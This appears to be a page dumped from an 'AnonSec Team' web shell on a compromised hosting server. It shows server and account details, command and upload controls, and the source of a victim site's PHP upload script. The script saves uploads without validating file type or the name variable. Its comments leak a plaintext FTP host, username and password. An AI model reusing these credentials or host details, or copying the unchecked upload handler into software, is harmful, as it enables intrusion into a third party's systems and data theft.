AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/MC/includes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/MC/includes/infoentete.php
<?php
define ("FILEREPOSITORY","entetes");
	if (!is_dir("entetes"))
	{
		mkdir("entetes", 0755) ;
		chmod("entetes", 0755) ;
	}
	
	
	$result= move_uploaded_file($_FILES['entete']['tmp_name'], FILEREPOSITORY.'/agence-'. $agence .'.pdf');
	//move_uploaded_file($_FILES['entete']['tmp_name'] , 'entetes/agence-'. $agence .'.pdf');
	if ($result == 1) {
            echo "<p>File successfully uploaded.</p>";
        }
        else {
            echo "<p>There was a problem uploading the file.</p>";
        }
	

	//$paths='entetes';

// $filep='agence-'. $agence .'.pdf';

// $ftp_server='80.247.227.92';

// $ftp_user_name='webologix';

// $ftp_user_pass='fovKmpya';

//$name='agence-'. $agence .'.pdf';
// set up a connection to ftp server
// $conn_id = ftp_connect($ftp_server);

// login with username and password
// $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection and login result
/*
if ((!$conn_id) || (!$login_result)) {
       echo "FTP connection has encountered an error!";
       exit;
   } 
// upload the file to the path specified
$upload = ftp_put($conn_id, $paths.'/'.$name, $paths.'/'.$filep, FTP_BINARY);
// echo ' ! '.$paths.'/'.$name.' ! '. $filep;
// check the upload status
if (!$upload) {
       echo "FTP upload has encountered an error!";
	   echo '<p align="center" style="color:red; font-weight:bold;">impossible d\'ajouter ce entete</p>'	;
   } 

// close the FTP connection
ftp_close($conn_id);*/


?>

AnonSec - 2021